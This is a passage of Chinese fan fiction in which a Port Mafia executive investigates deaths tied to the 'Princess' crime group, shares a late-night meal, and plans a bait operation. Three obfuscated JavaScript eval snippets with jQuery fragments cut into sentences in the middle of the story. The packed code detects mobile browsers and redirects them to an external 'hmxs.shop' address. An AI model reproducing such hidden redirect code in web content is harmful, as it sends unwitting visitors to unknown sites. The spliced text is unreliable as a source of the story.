佐久间弥津盯着相片,面无表情的脸之下的是更加困惑的心。 但是,谁要拯救谁?他可是黑手党啊……这个词怎么都和被通缉的黑手党组织干部无关吧。他宁愿觉得这是另外的人随手涂画,用以让他们调查出错的阴险手段。 一时半会儿,他不想回中也先生的办公室,再次见到公关官,也已经是下午了。 他让风间理把中午对他说的那番解释,对公关官再说一遍。 原本忍受了佐久间弥津半途离席,本想不大不小地发个火,但听到风间理的话,公关官心头再大的火气也没了。 “你以前是翻译人员?”他认真打量着这个被佐久间不久前调回来的人。 “是的……在欧洲部门那边。” 公关官又瞥了眼坐在椅子上一言不发盯着那堆照片思考“人生”的家伙,“你还真是对欧洲部门念念不忘。” 见上司对这位的话毫无反应,这看起来没有一点礼貌的做法,着实让夹在二人之间的风间理感到尴尬。 但已经熟悉彼此的公关官知道佐久间这是默认了。本就是事实的话,佐久间在承认之后懒得延长话题。 拉丁语,不像英语或者俄语之类的语言会常常被语言学习者选择为目标之一,他没听说过身边有什么人会这门语言。异能特务科的家伙没看出被死者写在通缉令上的编号其实是一个外文单词倒也正常。 但关键是,词汇的意义。 为什么是这个单词,和佐久间的身份相悖。 “谁拯救谁?” “我也想问。”指尖点了点桌面,佐久间弥津问,“这些受害者,你一个都不认识吗?” “不认识。” “里面有位歌手。” “不认识。而且那是外国歌手。” 难道你以为我会认识世界上每一位演员歌手和导演吗。 “这个编号的事,暂时不要告诉异能特务科。和中也先生聊过了吗。” 当然,“但我接下来要去商业统合那边忙我的事了。调查这件事的责任,归你了。” 还有。 公关官站在桌前,端详着桌上的照片,伸手从中挑出一张。 那是一张穿着连衣裙的生活照,异能特务科没找到这名受害者的正规照片,是所有照片里最独特的那张。女性,外国人,年纪在二十五岁到三十岁之间,职业是滑雪运动员。 “这位女性,在一年前来过横滨。她在进行自己的环球旅行,呆过很多城市,曾经找过武装侦探社,因为她在自己暂住的旅社垃圾桶里发现了一把枪,她把枪就近送去了武装侦探社。她误以为武装侦探社是官方部门。” 语言不通,所以这名女性一直用翻译软件和他们的人沟通,而且用的是挪威语,武装侦探社的人因此记得她。 “只要深入挖掘,就一定能发现受害者和横滨的联系。我是这样认为的。” 但如果当真如此,不久佐证了敌人真的是冲着横滨来的吗。 听者不可置否。 当干部办公室的人都各自离开,独坐在椅子上的人思索片刻,给枢川伶司发去了消息。 “那起自相残杀的案件,你那边有情况记录吗。” 105.想吃夜宵的黑手党人 他加入组织后的第一个任务? 真要问起来的话,佐久间弥津已经忘了这些事了。 好比突然问一个工作多年的社畜,他中学时的第一篇作文写了什么一样,谁能立马答得上来呢。 “应该不是难度很大的任务,”佐久间弥津推测道,毕竟那时候的他还是新人。 港口黑手党不是同情心泛滥的地方,但也不会对新人抱有多么极端苛刻的态度。 “好像是……去问一个男人拿某样东西?我记不太清了。” 在案发现场闲聊是“人之常情”,对佐久间弥津和镜优而言是如此。 情报部门里留存了一部分关于死者的资料,同时还有他离席之后,公关官带回来的另一部分关于“王女”的信息,在来这里之前,他都看过了。很难说他看到那些资料时是什么心情。 对敌人的来意心知肚明,但又有点怅然。 绮宁不是说过吗,可能“异能力”真的是神明抱着不为人知的目的对人类降下的诅咒吧。 越是实力强大的异能力者,越容易被卷入纷争之中,反倒是和普通人差距不大的异能力者能安静又幸福地度过一生。当一个人发现自己和周围人的差距越来越大的时候,就越可能不满足于现状,心理状态也会随之改变。至于变成什么样,也全看个人。有人因为自身的力量变得蔑视社会中的一切,也有人变得无比沉默,成为了这个世界无声的旁观者。 前者还是对自己的实力太自信了,迟早死在自己的傲慢手里。 倘若他不是“作恶多端”的通缉犯,他会觉得异能特务科口中,这个由黑客社群组织演变而来的异能犯罪组织令人可憎。 可如今的他只会说,“都干掉就好了。” 首领一定和他意见相同。 多年前同名的黑客组织早就只剩空壳了,如今的“王女”组织不过是占据了这个名字的寄生虫聚集地。 谁会和寄生虫为伍。 那名包里带着他的通缉令的死者,尸体是在其租住的房子里发现的。那片地带,房租很低,房屋质量也没有保证。死者向房东租住了三个月,还付过押金,用现金支付。可惜只住了几天就死掉了。房东也没办法再把这套房子租给别人。 还真是一起酣畅淋漓的双输生意。 有砖石从掉落的外立面墙皮后暴露出来,年代已久的建筑都有这样的毛病,门锁却是新的密码锁。死亡现场还立着禁止入内的牌子。有谁会在案件发生后这么久才来现场一探究竟呢。 只有被那个单词困扰一下午的他。 他抓了优和他一起来。有些事是可以交给在勘察线索上比他更专业的成员,但如此罕见的情况,他还是决定亲自跑一趟。 手机屏幕一亮。他划掉苏枋发来的消息,在心中想好待会儿再回复。 “弥津大人。” 他抬头,对上优的眼睛。 自成为港口黑手党的成员后,镜优基本只有过佐久间弥津一位上司——水落望音在镜优眼里只是个混蛋而已。 他望着把手搭在砖墙上的上司,在二人独处的时刻里,问道,“你真的把那个小鬼留在横滨了吗。” 他的上司也维持着平淡的神色回望他,眨了眨眼,对他说,“原来你能看出来。” ……啊?谁都能看出来吧! 弥津大人,你根本就没藏啊! “你不赞同吗。” 他当然不赞同了。 佐久间弥津不出所料地点点头,“我也觉得你们不会赞同。” “……没有人会赞同吧。”镜优的心情很郁闷。他是没资格说这种话的,但弥津大人似乎没有介意的意思,那么,他也就不避开这个话题了。 “那个小鬼,不一直都是仗着有你在才那么肆无忌惮吗。” 以前还是学生的时候就那副让人气得牙痒的态度,现在居然还这样。早知道就把那小子摁地牢不放了。 “毕竟你们之间也不是陌生人。” 在接触中有摩擦是正常的。 优和水落也经常互看不顺眼,但这正是因为他们两个对彼此很熟,佐久间弥津心想。 唉,弥津大人,这可不是陌生不陌生的问题。 “优,我们能顺利活到四五十岁吗。” 话题转变之大,镜优不由得愣住。 佐久间弥津撑开伞,挡在房门的门锁前。静谧的夜里,电流淌过的声响格外刺耳。暴力破坏了门锁,佐久间弥津朝里推开这扇正常大小的门。 “我换个问法,你就明白了。” 你觉得,苏枋愿意陪我到四五十岁吗。 如果你的答案是“不会”。那不正好,在腻了之后,我和他一拍两散。如果你的答案是“会”,拥有一个愿意陪我走完人生的年轻恋人,我难道该有不满意的地方吗。 感情之事,还是不要像生意一样谈论得失为好。尤其是在明明情投意合的感情中斤斤计较。 更何况,他还有什么可失去的。钱财,还是势力,还是可遇而不可及的朋友?即使一夜之间天地倾覆,他也会用同样的时间把失去的东西找回来。 而且他最明白苏枋在他身上执着的是什么。“你也知道,我们这样的人可能没办法善终。所以,这段感情或许结束得比我们想象中都早。” 他们二人中,他是年长的那个,要考虑的事自然要多一些。 假如之后遇到极端危险的情况,他会想办法让苏枋提前远离横滨,至少别见证他离开的时刻。还会准备一份保险,留给苏枋一笔足够多的钱,让苏枋即使未来走不出这段感情,也能不惧世俗眼光,毫无负担地活着。 这是“佐久间弥津”死前最后能做的事了。 “别担心我会因为他而改变。” 他不会因为苏枋就变成另一个让友人们和同事感到陌生的“佐久间弥津”。在苏枋之前,他的感情经历是一片空白,但因为一次感情经历就让自己变得连身边人都不认识,那样不是本末倒置了吗。 “有对那家伙说过吗,这个小鬼的事。” 那家伙?是指……水落? “没有。”之后有必要的时候再解释吧。 趁着上司扭头去观察房间,镜优在心里悄悄想,如果弥津大人真的想维持这段关系,就永远别让水落望音知道那小子来横滨干过这种事。 被多方勘察过的现场还保持着尸体被发现时的状态。 很奇怪,虽然情报中显示的,受害者随身携带的包老旧得看不出原本的颜色,布料磨损得很严重,外表只比刻板印象中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990209|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的流浪汉好一档次,但和房东租下这间屋子时却二话不说就签了合同,交钱时也极其爽快,和外表给人的感觉不符。 这名死者死于毒杀,另外的死者也是。 异能特务科是如何得出他们是自相残杀的结论的,他们不得而知。 “异能特务科和国际刑警组织交涉过了。”镜优补充说,“国际刑警组织那边也在关注‘王女’的动向。” 有新消息的话,会传过来。 只要异能特务科没有“命令”的意图,佐久间弥津就愿意为维护组织或者说横滨的安全付出代价。可一旦他们之间的地位在这件事中有不平等的迹象,他就要建议首领仔细考虑,异能特务科是不是有第二层打算了。 死者的小屋里东西摆放得并不杂乱,相比于房舍的简陋和老旧,洗漱用品都放在合适的地方,床铺打理得干净整洁。 “死者的真实身份,异能特务科没有对我们公布,对吧。”佐久间弥津问。 “是的。” 死者是偷渡来的,身上都有‘王女’组织的图标纹身,所以很好辨认他们来自什么地方。 “这个人,花钱很果断,还打算在横滨长住。” 家里准备的不是简易的一次性牙膏和牙刷,牙膏还特意挑了克数大的一款。床品据房东说,是租客自己买的,质量还不错,看着挺舒适,床单、被套、枕套居然是相同的条纹图案,是成套买的。怎么看都不像是会住两天就跑掉。 死亡来得比死者的下一步动作早。 死者来横滨要做什么也没彻底查清,除了知道和他有关。 想找他?要做什么? 他是吸引别人找自己的体质吗? 怎么想都很奇怪吧。 这一趟,他们什么都没有发现,只看到了死者生前遗留的些许生活痕迹。没能亲眼见过这是一个什么样的人,他心里居然意外地有些遗憾。一个保持邋遢外表,但又对生活很认真的人,为什么要在他的通缉令上写那个单词。 想拯救他?还是让他拯救什么。两者都很难做到吧。他不需要别人“拯救”,也没有拯救别人的打算。 他扭头瞧了眼站在自己身边,和自己一起在夜里的街头吹冷风的优,邀请道,“一起吃宵夜吗。” “好啊。” 只有他们两个也可以,但在秋冬季节还是显得有点“伶仃孤苦”了。 佐久间弥津打了通电话出去。 对面很快接起电话。 “有打扰到你吗。” “没有,佐久间先生。是有什么事?” 晚上九点,即使是平常,这个时候紫苑刻也还不到休息的时候。他向来是要全天待命的,又是独居,佐久间先生半夜两点给他打电话也打扰不了什么,除了他的睡眠。 他没想到的是,上司问他,吃宵夜吗。 “现在,我和优在外面。要一起吗,我请客。再晚一点的话,很多店都要打烊了。” 几乎用不着思考,紫苑刻立马回答说,“好。” 虽然他不是奔着上司请客去的……但出门满足上司想请客吃夜宵的愿望也没什么。 “我现在出门。地点有定好吗?” 佐久间弥津想了想,“就去……常去的那家烤肉店吧。” 106.呛住的黑手党人 工作不规律的人就是最容易养成吃夜宵习惯的那类人。紫苑刻和自己的同事们自然位列其中。但他也并非每次工作到半夜都会吃饱再休息,毕竟是种不太健康的生活习惯。 他来得很快,即使是用走的。 佐久间先生和镜优已经在店里了。 他对和镜优在一张桌上吃饭没意见,但镜优有没有这种意思,他就不知道了。他加入组织的时候还不知道欧洲部门有镜优这号人。那年被召回的佐久间先生担任准干部之后,他开始在佐久间先生手里做事,才认识了这家伙。 佐久间先生对食物的喜好简直和他的物欲一样单调又平淡无奇。听到佐久间先生说那家烤肉店的地址时他的心情毫无波动。佐久间先生选择烤肉的频率已经高得足以让别人把烤肉店当做狙杀他的地点了。 其实,现在他们不应该谈工作。 这家店最晚可以营业到晚上十点——但作为熟客的佐久间先生需要的话,店主愿意为其延长至十一点。此刻店里还有没走的两桌客人,之后要收拾店面,清洗餐具,也一定会超过十点。 佐久间先生来这里吃过多少次了。 “我也不记得了。”凡是在国内,佐久间弥津基本都会来这家。和别人一起的时候,也一般会来这里,只要别人对他的餐厅选择没意见。 那一定很多次了。 此刻的他们只是最普通的食客。 夜里九点半才进店门的客人往往让餐厅侍者们头疼,但看店长甚至要和佐久间先生闲聊两句的态度,他们更像邻居来访。 “店长总是给我打折。” 这不是佐久间弥津一直选择这里的原因,但算锦上添花。至于这里老板究竟出于何种真实想法和港口黑手党的干部如此亲近,只想安静当食客的人不想在乎。 那把黑伞斜倚在座椅边。事到如今,紫苑刻即使不问,也该知道这把伞有很多秘密。 注意到紫苑飘向那把伞的视线,佐久间弥津忽然想到一件从来没做过的事。 听起来……会比较惊人。 紫苑的能力,可以把拿在手中的事物变成重量相似的刀剑型武器。小刀、匕首、水果刀,或者是打刀、太刀、西洋剑,总之是这类近战武器。据说还有更严苛的条件。不管多难满足,紫苑擅长的又不只这个。 那么如果对他的伞使用呢。异能力和异能武器,在运作规律上来说,谁的优先级更高呢。 完全不知道上司脑子里在想什么怪东西的人还在和同桌另一人讨论吃烤肉时应该配碳酸饮料还是酒。 其实这两个话题一个水平。怪不得这些家伙们会是上下级。 一手拿着碰过生肉的夹子,佐久间弥津把伞递给了持着“我打算喝热水”看法的人。 紫苑刻不想让烤肉以外的东西打扰他今晚的睡眠。 不明所以但伸手接过伞的人看着上司的表情。 “试试。” 试……什么?异能吗。 看到那把黑伞在紫苑刻的手里眨眼间变成一把没有刀鞘的打刀,刚喝了一口可乐的人扭过上身,对着身边的窗玻璃疯狂咳嗽,差点被那口可乐呛得喘不过气。 发觉上司的眼神变得特别奇怪,仿佛看到了街头有人倒着骑自行车一般稀奇的事,紫苑刻把恢复原样的伞还给上司,问道,“有哪里出问题了吗。” 居然还问“哪里出问题了”…… 咳完发现嗓子疼的人哼了一声,“你这么问的话,哪儿都是问题。” 把自己没喝过的热水杯推给优,佐久间弥津转而看向方才证实了某个道理的人。 “它有个名字,‘维尔丹尼’。” 第一次对首领解释伞的真正来历时,是他带中也先生回来的那天。他只说了是水落帮他找到了这点信息,和国际刑警组织的摩擦他隐瞒至今。然而,面对那名年轻刑警受伤的现状,他终于不得已说出了那些旧事。中也先生没有介意他的隐瞒。之后有什么新的安排,也是后续的其他事了。 这把伞……这件武器,会是“王女”组织关注的对象吗。 他看出来了,紫苑虽然没说,但眼神一定觉得,一把不完全是伞的东西居然有名字这件事相当荒谬又震撼,像还在某个认知阶段的小孩,会给周围的一切起名字,包括布娃娃、拼图玩具、各种塑料小人。 “本身是一把异能武器,流落于民间,被误以为是黑手党家族某种不外传技术的产物,是我在黑市里意外买到的。” 对它使用异能力的话,到达一定阈值,能让它形态改变。 “目前只有首领和我能这么用它。但是,首领的能力比我更容易做到。” 实际上,这是个有点鸡肋的异能武器。 水落和优也这么认为。 首先,要有“阈值”可言的能力。像优那种精神操纵的类型是绝对做不到的。 然后,能自循环的能力——比如他们的首领。但中也先生是用不着这类武器的。 而不能自循环的能力,比如格外依赖现代技术的他,使用起来也是费劲的,把它看作一块随身携带的大型电池会比较容易理解。 也能当防身用的武器,平日里最主要的用途还是回归了本源,继续遮风挡雨。 不过,维尔丹尼但紫苑手里竟然也算“普通物体”。 异能力的运作规律……居然真的凌驾于异能武器之上吗。 没准这把异能武器会沦落到民间的黑市里,正是因为它有点鸡肋,还有点难用。 “‘维尔丹尼’?是不是北欧神话里,命运三女神之一。” “嗯。” Verdandi,代表的是“现在”。 “大概异能技师有自己的考量吧。”可惜已经去世了。 紫苑刻提出了一种特别的可能性。 “既然有‘维尔丹尼’,会不会有代表过去的‘乌尔德’和代表未来的……我不记得另一个女神的名字了。” 镜优现查的结果是“诗寇蒂”。 可也许他们的猜想只是一种美好的想象。“维尔丹尼”可能只是异能技师随便选择的名字,既没有乌尔德和诗寇蒂,也没有广泛的用处。怎么可能什么都和他们料想的一样呢。如果没有十六岁的佐久间弥津在黑市里急需一把伞遮雨,这把伞就一直是一把“伞”,会被想要搬家去别的城市养老的商家低价匆匆出手,直到被破坏,都会为某个普通人或家庭起到挡雨的作用,连国际刑警组织追踪起来也极其难办。 夜宵时间所剩无几,佐久间弥津便打算过后再和紫苑说自己之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997030|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定的事。 和住在别处的紫苑刻分别,在散步回家的路上,佐久间弥津和优聊起当年和名为奥瑟·米勒的老商人在爱丁堡重逢的事,“我打算拜托水落找人去看看米勒的情况。” 那名刑警和他唯一的接触点只有那一次,因为这把异能武器,还一同见识了别的犯罪组织妄图抢夺的行径。倘若敌人真的是直奔这把武器而来的,他会说,这把武器对一些人而言真的很鸡肋。 只是挂着“异能武器”的名头而已,就像明明很相似的衣服和饰品,甚至是极其不符合普通人审美的东西,却因为挂上“奢侈品”的头衔而变得昂贵千百倍。人总是被各种各样的东西蒙骗,然后陷入始料不及的陷阱中。 消费主义陷阱只是其中的一类。 当日在场的刑警被袭击,那么将伞卖给他的米勒很难说不会被当成目标。他还是会有些担心的。金盆洗手还收养了两个孤儿的老年人,不应该在年老后还被卷入风波之中。 “优,有必要的话,我之后……想回那边一趟。” “但首领的意思是,欧洲部门的事,现在还是留给那家伙处理。现在最要命的,是谁也没办法确认‘王女’的动机,所以,我们依旧处于被动中。” ……是啊。 但谁愿意一直处在被动的位置呢。 “‘佐久间弥津’去了欧洲,却没有带走‘王女’的注意力,不正说明他们的目标不是我……不完全是我吗。” “可是,如果对方的目标是组织的话,你离开横滨,对方很可能会趁机潜入横滨。干部成员和组织首领都在横滨的话,对方才会忌惮。” 此刻接近十一点。 脱掉外套站在客厅里的佐久间弥津,和刚回厨房按下热水壶烧水键的镜优面面相觑。 他们似乎无意间聊到了一种冷门但合理的解决办法。 “我和首领都不在横滨的话,对方可能会有所行动……是这样吗。” “理论上,对方把毁掉组织当成目标的话,是有这种可能。” 发现港口黑手党的首领和干部成员都不在横滨,对方多少会有所行动的。前提是,对方的目标真的和组织有关。 可是,一夜之间,港口黑手党的高层决定去环游世界显然不可能。想钓鱼,就不能被敌人发现真实的意图。 今夜的“晚安”还没说,先一步到来的是三个吃完夜宵还没睡的家伙们的“电话会议”。 其实只是把接通电话的手机开了免提。 空调设置为二十六度,电视调到无论什么时候都坚持先播动画节目的东京电视台。不听几人的谈话内容,光看充满生活气息的环境,只会以为这是几个年龄相近的人在讨论第二天的游玩计划。 晚安什么的,只能留在十二点。 念头出现之后,他们要做的就是如何让这个念头合理化。如同做实验需要控制变量,这种事要好好谋划才行。 但更多的情况,第二天白天的正经工作时间再聊也可以。 回到卧室的人坐在床边,盯着地板出神。 现在,才算是回到了属于他一个人的时刻。安静,但又不会寂寞。 发了会儿呆,佐久间弥津回头去找手机。 他得回苏枋消息。不然会被担心吧。 107.都是激进的黑手党人 如果再来一遍的话,他不一定能果断残忍地离开居住两年的地方。 人在不加思考的时候,做什么都会看起来很果断。他那时候没有思考的余地。若是在离开前的某个瞬间,他多留意过和他熟识的少年,他断然做不到那么干脆。 说他当年对苏枋毫无感情是骗人的。即便是现在,他也还是不想让苏枋陷入因他而存在的危险中。 他是有点内疚,因为他只能在工作之余独处的时间里回复苏枋的消息。和苏枋给予他的热情相比,他能给予的回应实在太少了。 见苏枋没再立刻回消息过来,他便切到手机主界面,熄了屏。十二点一过,一片漆黑的卧室里,他平躺在床上,努力赶走脑子里的种种念头。 明天还要去总部。 他希望没有他在的时候,苏枋的作息能正常起来,不要很晚才休息。 可他哪知道苏枋夜里什么时候睡着呢。那些同床共枕的日子里,他好像总是会睡着得更早一点。他不习惯耳边有别人的呼吸声。但只要接受了苏枋几乎是他看着从高中生成长至今的人这一事实,也就无所谓习不习惯了。 不管他们夜里何时入睡,苏枋早上都会醒得很早,至少比他早,必定是身体多年来养成的生物钟在起作用。难道不是所有脱离学生身份的人都会一夜之间生物钟紊乱吗?离开学校之后,几点睡,几点起,都全凭心情。 可在苏枋身上居然不是这样。这么想……还真是不得了的习惯。 * 组织其实没有明确规定什么时候“上班”。 但前一天没有特别行动的成员一般都默认以现代社会常识为准。 佐久间弥津不会当滥用特权的人,一天之内无论如何都赶不过来的话,他会主动请假的。更何况,他找中也先生有话要说。 早晨起床,他手机里确实收到了苏枋发来的两条未读消息。最后一条是“晚安”,也许在发过这条消息后休息了吧。 【早上好】 他发了这么一条消息。 以苏枋的作息,一定早就起床了。果不其然,不等他走进首领办公室,就看到了苏枋的回复。 相当干脆利落的回复。 【早上好,已经在工作了吗。】 【嗯】 在工作呢。 他和首领要说的事很重要。 “尝试‘钓鱼’,还得‘控制变量’。” 只有这样,才能勾引对方进行下一步,而不是观望着,等到一年都要过去了。 把横滨当做舞台的犯罪组织,把目标定为毁掉这座城市,可能吗?想“毁灭”一座城市,不提高到国家层面是做不到的。 但破坏维护城市正常运行的条件,是能达到类似毁掉横滨的结果。 经济、政治,公序良俗、文娱产业,甚至包括作为横滨的组成部分的他们。谁能否认港口黑手党没有在横滨至少存于表面的风平浪静中出一份力。 “那些家伙若是把‘毁掉’横滨当成唯一的目标,我们就是他们不得不除掉的对象。” 港口黑手党会成为外来组织想要染指横滨时遇到的第一道阻碍。 望着首领湛蓝如碧空的双眸,佐久间弥津如此说道。 中原中也自然是理解的。 佐久间的想法和他的想法有些类似,只不过他想直奔美洲,寻找“王女”的大本营。 和港口黑手党连总部都明晃晃地设立在横滨不同,世界上多得是将据点遮掩得严严实实的犯罪组织。 “你打算回欧洲那边,试探他们会不会追去欧洲?” “嗯。” 最好是在众目睽睽之下,他带着伞离开横滨,出现在英国。 那名刑警和他有交集正是因为异能武器,所以,他必须带着维尔丹尼出现在敌人能看见的地方。若是对方袭击了在欧洲的他,而放弃了横滨,则意味着他更重要,他的能力,或者他手里的伞。如果相反,对方放弃了他,而继续有针对横滨的意图,就意味着他们只要“横滨”,其他一切都只是陪衬的绿叶。 “但你没办法确定,他们不会既追踪你又针对横滨再次动手。” 佐久间弥津停下话头,静静思考,不消片刻,立马给出了答案,“想让他们下定决心趁这个机会动手,中也先生,你也要离开横滨。” 这样过分冒进的想法自然遭到了钢琴家的反对。 “我是不太懂你们的脑回路。” 但你们觉得这合理吗? 怎么会有人激进到这份上。 可钢琴家转念一想,自始至终都是中也下属的佐久间会和中也一拍即合,简直是最合理不过的事。 但他不会答应的。 “很合理。只要我们不是真的离开横滨就好了。” 佐久间的表情有多认真,钢琴家就有多么反对。他绝不同意把整个总部的事务留给他一个人的计划,当年的事不能重演。 “你有什么办法骗过敌人。找人扮成你?如果别人冲着干掉离开横滨的你而来,假扮你的人会因为你的想法牺牲性命。” “不会。” 他会把歼灭部队的三分之一和优留给对方。 “那你呢。”你要躲藏到哪里,你难道觉得自己很难认吗。 他自有去处。 你要找谁假扮你,你要找一个心甘情愿为你冒上生命危险的人,并且不能轻易暴露。即便长相和外貌能靠假发和妆容更改,“这和命令别人替你承受死亡威胁没有区别”。 他会找到的。 话题进行到这,已经继续不下去了。至少今天不能了。这样冒险的计划一旦成功就能打破僵局,可若是失败呢,相当于将组织的一部分拱手相让。 不过,没关系。 在形势发展到失控的地步前,他们都还有时间再度如此“争论”。这是好事,首领的办公室没有变成一言堂。 预感到这可能是最后一段安静的日子,佐久间弥津单独见了紫苑刻一次。 钓鱼的圈套是他们在那日夜宵后意外讨论出的计划,现在还不到必须决定那么做的时候。他这次见紫苑主要是私事,带一点点公事。他问紫苑,还记得苏枋吗。 “之前,拜托过你送他去医疗部门。” 紫苑刻自然记得那个年轻人。但也只是记得的程度,体术还不错。 似乎从某一个时刻开始,那个人就突然从他眼前消失了。起初,他有猜测过那人的下落,是被佐久间先生送到了别处,还是被安排了别的事。 但那是个和自己的上司关系匪浅的家伙。既然是上司的私事,他就不该过问,无论出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000635|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于何种原因。 “我想留点东西给他。” 紫苑刻一时之间没有明白佐久间先生的意思。为什么要……留东西给那个人? “之后出了事,就拜托你以私人名义交给他了。” 直视着佐久间先生的眼睛,他才明白那双眼睛里流露出的感情究竟是什么。 紫苑刻的心情顿时复杂起来。 “您……” “可以吗。” 当然可以。但紫苑刻不想在上司身上看到是仿佛交代遗言一样的举动。 我难免会遇到危险,提前做准备也正常。佐久间先生对他说,“他年纪还小,也不是组织的人。离开我以后,还有很多地方可以去。” 事到如今,紫苑刻也无需猜测那个年轻人和上司是什么关系了。听佐久间先生的语气,怕不是在那人消失之后,一直将其“藏”在横滨的某处。 佐久间先生快速交代了一些事给他。 他以为佐久间先生会交给镜优办。 “优……他对苏枋有意见。让他干这些事,就太折磨他了。” 而且。 佐久间弥津盯着桌上的文件出神。 如果他遇到了危险,常年在他身边的优恐怕也陷入了和他一样的境地。这就是休戚与共的命运共同体,他们的命运早就紧密联系在一起了。 简单来说,就是他若是死掉了,优一定也和他一样。 但紫苑和他们有区别。他和紫苑当中必须留一个负责歼灭部队的指挥,这一点,连优都做不到,因为优没有和他相同的权力。对歼灭部队拥有完整控制权的人目前也仅有他们两个和位于所有成员之上的首领而已。培养新的指挥位的事……等这场风波过去之后再说吧。 “有时间的话,去看看这个。” 佐久间弥津从抽屉里没怎么用过的记事本里撕掉半张纸,手写了一串网址。 “……这是什么?” “你看过就知道了。” 交代过那样的事,佐久间弥津再回复起苏枋的消息,他忽然感觉浑身都轻松了不少,就好像脱掉了冬日厚重的棉睡衣,换上轻便的夏季家居服一样。 心情也轻快了很多。看着苏枋一条接一条回复的消息,他不由得对着手机屏幕露出一丝连自己都始料未及的笑。 其实他该对苏枋说声谢谢。 第一次有人以这样的身份陪在他身边,给过他一种特别的感觉。就算现在突然死掉,站在地狱的大门口回望自己的人生,他也能在灵魂的恍惚间承认说,是的,我不是单身。 他不仅不是单身,还有家人——断绝关系只是为了生活,真要字斟句酌,他的家人依然爱他;还有朋友,什么样的朋友都有,陪他喝酒的朋友,陪他吃夜宵的朋友,会留宿在他家或者让他在自己家留宿的朋友,虽然不是很想承认,但会在台球技术上“霸凌”他的人也算朋友吧……也许。 这段风波过去,他会思考要不要苦练台球技术让那几个家伙在自己擅长的领域甘拜下风的。 苏枋应该是真的很喜欢他。 但他也很抱歉。他给不了完整的爱意。 他身份如此。只是能力较为特别,不然早就被下令缉捕了。 事已至此。 他会努力以这样的身份活着的。